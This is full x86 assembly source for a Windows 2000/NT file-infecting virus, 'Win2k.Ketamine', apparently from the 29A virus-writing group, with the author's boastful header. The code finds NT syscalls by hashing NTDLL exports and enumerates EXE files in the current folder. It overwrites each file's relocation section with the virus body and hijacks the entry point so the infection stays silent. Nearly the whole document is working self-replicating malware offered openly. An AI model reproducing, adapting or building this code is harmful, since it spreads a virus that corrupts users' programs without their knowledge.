COMMENT# ฺยยยยยยยยยยยยยยยยยยยยยยยยยยฟ รลลลลลลลลลลลลลลลลลลลลลลลลลลด รลลลลมมมมมมมมมมมมมมมมมมลลลลด รลลลด Win2k.Ketamine รลลลด รลลลด by Benny/29A รลลลด รลลลลยยยยยยยยยยยยยยยยยยลลลลด รลลลลลลลลลลลลลลลลลลลลลลลลลลด ภมมมมมมมมมมมมมมมมมมมมมมมมมมู This is my next (very small) virus, specialised on Win2k machinez. It should be also able to run under WinNT machinez, but I'm not sure, becoz I didn't test it. The virus does not use any APIz, instead of that, its uses NT syscallz. The virus does not do anything special apart of that, it can only infect all EXE filez in current folder and does not manifest itself in any way. Infected filez have the same size, becoz virus overwritez the relocation section. The virus should be compatible with newer versionz of Windows OS'ez based on NT system. The only point of incompatibility is, becoz I decided to not use ANY API, the code where the virus expect the fixed address of NTDLL.dll modul loaded in process virtual memory. Virus searchez inside the NTDLL.dll for syscall numberz and so it SHOULD be forward compatible. At least a bit...;-) Here I have to thank Ratter, he inspired me a lot with his Win2k.Joss. The functionality of Win2k.Ketamine and Win2k.Joss is almost the same, I only recoded some of his code on my own and added a few new ideaz, which should make Ketamine more compatible with Windows, rather than Joss. I have to say, that he inspired me a lot, but the code is not ripped. I also disassembled NTDLL.dll and NTOSKRNL.EXE and found the same resultz as him, surprisely ;-D But ofcoz, I decided to not discover the America again and so I used some of his code in my virus. The virus was coded only to show that something is possible, not to make high-spreading virus. Enjoy it! (c)oded in August, 2001 Czech Republic. # .386p .model flat,stdcall locals include win32api.inc include useful.inc include mz.inc include pe.inc invoke macro api ;macro for API callz extrn api:PROC call api endm unicode_string struc us_length dd ? ;length of the string us_pstring dd ? ;ptr to string unicode_string ends path struc p_path dw MAX_PATH dup (?) ;maximal length of path in unicode path ends object_attributes struc oa_length dd ? ;length of structure oa_rootdir dd ? oa_objectname dd ? ;name of object oa_attribz dd ? ;attributez of the object oa_secdesc dd ? oa_secqos dd ? object_attributes ends pio_status struc ;status structure ps_ntstatus dd ? ps_info dd ? pio_status ends .data db ? ;some data .code _Start: pushad gdelta = $+5 ;delta offset @SEH_SetupFrame mov edx,cs xor dl,dl jne end_seh ;must be under winNT/2k! mov ebp,[esp+4] call get_syscalls ;get numberz of all needed syscallz Start Proc local uni_string:unicode_string local u_string:path local object_attr:object_attributes local io_status:pio_status local dHandle:DWORD local WFD:WIN32_FIND_DATA mov [uni_string.us_length],80008h ;length of the string lea edi,[u_string] mov [uni_string.us_pstring],edi ;set the pointer call @qm dw '\','?','?','\' ;initial string of the object @qm: pop esi movsd movsd ;save it mov esi,fs:[18h] mov esi,[esi+30h] mov esi,[esi+10h] add esi,24h mov esi,[esi+4] ;ESI = current folder xor ecx,ecx l_copy: lodsw inc ecx stosw ;append it test eax,eax jne l_copy dec ecx lea edi,[uni_string] shl ecx,1 add cx,[edi] mov ax,cx shl ecx,16 mov cx,ax mov [edi],ecx ;save the new length xor ecx,ecx ;initialize the structure ... lea eax,[uni_string] lea edi,[object_attr] mov [edi.oa_length],24 and [edi.oa_rootdir],ecx mov [edi.oa_objectname],eax mov [edi.oa_attribz],40h and [edi.oa_secdesc],ecx and [edi.oa_secqos],ecx push 4021h push 3h lea eax,[io_status] push eax push edi push 100001h lea ebx,[dHandle] push ebx call NtOpenFile ;open the current folder mov ebx,[ebx] xor ecx,ecx f_loop: push ecx xor eax,eax push eax call @p1 dd 0A000Ah ;length of the string dd ? ;ptr to string @p1: pop esi call @exe dw '<','.','E','X','E' ;string @exe: pop dword ptr [esi+4] ;save the ptr jecxz @1st xor esi,esi @1st: push esi push 1 push 3 push MAX_PATH*2 lea edx,[WFD] push edx lea edx,[io_status] push edx push eax push eax push eax push ebx mov eax,12345678h NtQDF = dword ptr $-4 lea edx,[esp] int 2Eh ;NtQueryDirectoryFile add esp,4*11 ;correct the stack pop ecx test eax,eax jne e_loop ;quit if no more file push dword ptr [uni_string] ;save the length lea esi,[WFD] ;WIN32_FIND_DATA structure lea edi,[uni_string] ;the filename call infect_file ;infect the file pop dword ptr [uni_string] ;restore the length inc ecx jmp f_loop ;find next file e_loop: push ebx call NtClose ;close the directory leave end_seh:@SEH_RemoveFrame popad extrn ExitProcess:PROC push cs push offset ExitProcess original_ep = dword ptr $-4 retf ;jump to host! Start EndP NtClose:mov eax,12345678h NtC = dword ptr $-4 lea edx,[esp+4] int 2Eh ;close the handle ret 4 NtOpenFile: mov eax,12345678h NtOF = dword ptr $-4 lea edx,[esp+4] int 2Eh ;open the object ret 4*6 infect_file Proc local object_attr:object_attributes local io_status:pio_status local fHandle:DWORD local sHandle:DWORD local sOffset:DWORD local bytez:DWORD local sOffset2:QWORD pushad @SEH_SetupFrame movzx edx,word ptr [edi] add edx,[edi+4] push edi mov edi,edx ;EDI - end of string mov ecx,[esi+3Ch] ;size of filename push ecx lea esi,[esi+5Eh] ;filename rep movsb ;copy the string pop ecx pop edi add cx,[edi] mov ax,cx shl ecx,16 mov cx,ax mov [edi],ecx ;size of path+filename xchg eax,edi xor ecx,ecx ;initialize the structure... lea edi,[object_attr] mov [edi.oa_length],24 and [edi.oa_rootdir],ecx mov [edi.oa_objectname],eax mov [edi.oa_attribz],40h and [edi.oa_secdesc],ecx and [edi.oa_secqos],ecx push 4060h push 3h lea ecx,[io_status] push ecx push edi push 100007h lea ebx,[fHandle] push ebx call NtOpenFile ;open the file test eax,eax jne if_end mov ebx,[ebx] xor eax,eax push ebx push 8000000h push PAGE_READWRITE push eax push eax push 0F0007h lea ebx,[sHandle] push ebx mov eax,12345678h NtCS = dword ptr $-4 mov edx,esp int 2Eh ;NtCreateSection add esp,4*7 ;correct stack test eax,eax jne if_end2 mov ebx,[ebx] lea edx,[bytez] ;initialize some variablez xor eax,eax and [sOffset],eax and [edx],eax and dword ptr [sOffset2],eax and dword ptr [sOffset2+4],eax push 4 push eax push 1 push edx lea edx,[sOffset2] push edx push eax push eax lea esi,[sOffset] push esi push -1 push ebx mov eax,12345678h NtMVOS = dword ptr $-4 mov edx,esp int 2Eh ;NtMapViewOfSection add esp,4*10 test eax,eax jne if_end3 mov ebx,[esi] ;EBX = start of memory-mapped file mov esi,[ebx.MZ_lfanew] add esi,ebx mov eax,[esi] add eax,-IMAGE_NT_SIGNATURE jne if_end4 ;must be PE file ;discard not_executable and system filez cmp word ptr [esi.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386 jne if_end4 mov ax,[esi.NT_FileHeader.FH_Characteristics] test ax,IMAGE_FILE_EXECUTABLE_IMAGE je if_end4 test ax,IMAGE_FILE_DLL jne if_end4 test ax,IMAGE_FILE_SYSTEM jne if_end4 mov al,byte ptr [esi.NT_FileHeader.OH_Subsystem] test al,IMAGE_SUBSYSTEM_NATIVE jne if_end4 movzx eax,word ptr [esi.NT_FileHeader.FH_NumberOfSections] dec eax test eax,eax je if_end4 imul eax,eax,IMAGE_SIZEOF_SECTION_HEADER movzx edx,word ptr [esi.NT_FileHeader.FH_SizeOfOptionalHeader] lea edi,[eax+edx+IMAGE_SIZEOF_FILE_HEADER+4] add edi,esi lea edx,[esi.NT_OptionalHeader.OH_DataDirectory.DE_BaseReloc.DD_VirtualAddress] mov eax,[edx] test eax,eax je if_end4 cmp eax,[edi.SH_VirtualAddress] jne if_end4 cmp [edi.SH_SizeOfRawData],virus_end-_Start jb if_end4 ;is it large enough? pushad xor eax,eax mov edi,edx stosd stosd popad ;erase relocs record ;align the section size mov eax,virus_end-_Start cmp eax,[edi.SH_VirtualSize] jb o_vs mov ecx,[esi.NT_OptionalHeader.OH_SectionAlignment] cdq div ecx test edx,edx je o_al inc eax o_al: mul ecx mov [edi.SH_VirtualSize],eax o_vs: push ebp ;save EBP call idelta ;get delta offset idelta: pop ebp push dword ptr [ebp + original_ep - idelta] mov eax,[esi.NT_OptionalHeader.OH_AddressOfEntryPoint] push dword ptr [edi.SH_VirtualAddress] pop dword ptr [esi.NT_OptionalHeader.OH_AddressOfEntryPoint] mov [ebp + original_ep - idelta],eax mov eax,[esi.NT_OptionalHeader.OH_ImageBase] add [ebp + original_ep - idelta],eax ;set saved_entrypoint variable pushad mov edi,[edi.SH_PointerToRawData] add edi,ebx lea esi,[ebp + _Start - idelta] mov ecx,(virus_end-_Start+3)/4 rep movsd ;overwrite relocs by virus body popad pop dword ptr [ebp + original_ep - idelta] ;restore used variablez or dword ptr [edi.SH_Characteristics],IMAGE_SCN_MEM_WRITE pop ebp ;restore EBP if_end4:push ebx push -1 mov eax,12345678h NtUVOS = dword ptr $-4 mov edx,esp int 2Eh ;NtUnmapViewOfSection add esp,4*2 if_end3:push [sHandle] call NtClose ;close the section if_end2:push [fHandle] call NtClose ;close the file if_end: @SEH_RemoveFrame popad ret infect_file EndP get_syscalls Proc mov esi,77F80000h ;base of NTDLL.dll mov edx,[esi.MZ_lfanew] add edx,esi mov ebx,[edx.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress] add ebx,esi mov ecx,[ebx.ED_NumberOfNames] mov edx,[ebx.ED_AddressOfNames] add edx,esi xor eax,eax c_find: pushad add esi,[edx+eax*4] push esi @endsz mov edi,esi pop esi sub edi,esi call CRC32 ;calculate CRC32 of the API push 6 ;number of syscallz pop ecx call @callz dd 09ECA4E0Fh ;NtOpenFile dd 0D5494178h ;NtQueryDirectoryFile dd 0B964B7BEh ;NtClose dd 03F2482E6h ;NtCreateSection dd 010710614h ;NtMapViewOfSection dd 0864CF09Bh ;NtUnmapViewOfSection @callz: pop edx c_look: cmp [edx-4+(ecx*4)],eax je got_call loop c_look c_out: popad inc eax loop c_find ret got_call: mov edx,[ebx.ED_AddressOfOrdinals] mov esi,[esp.Pushad_esi] add edx,esi mov eax,[esp.Pushad_eax] movzx eax,word ptr [edx+eax*2] mov edx,esi add edx,[ebx.ED_AddressOfFunctions] mov eax,[edx+eax*4] add eax,esi mov eax,[eax+1] ;get number of the syscall lea edx,[ebp + _Start - gdelta] add edx,[ebp + sys_addr-4+ecx*4 - gdelta] mov [edx],eax ;save it jmp c_out get_syscalls EndP sys_addr: ;where to save syscall numberz... dd offset NtOF-_Start dd offset NtQDF-_Start dd offset NtC-_Start dd offset NtCS-_Start dd offset NtMVOS-_Start dd offset NtUVOS-_Start CRC32: push ecx ;procedure for calculating CRC32s push edx ;at run-time push ebx xor ecx,ecx dec ecx mov edx,ecx NextByteCRC: xor eax,eax xor ebx,ebx lodsb xor al,cl mov cl,ch mov ch,dl mov dl,dh mov dh,8 NextBitCRC: shr bx,1 rcr ax,1 jnc NoCRC xor ax,08320h xor bx,0EDB8h NoCRC: dec dh jnz NextBitCRC xor ecx,eax xor edx,ebx dec edi jne NextByteCRC not edx not ecx pop ebx mov eax,edx rol eax,16 mov ax,cx pop edx pop ecx ret signature db 0,'WinNT.Ketamine by Benny/29A',0 virus_end: End _Start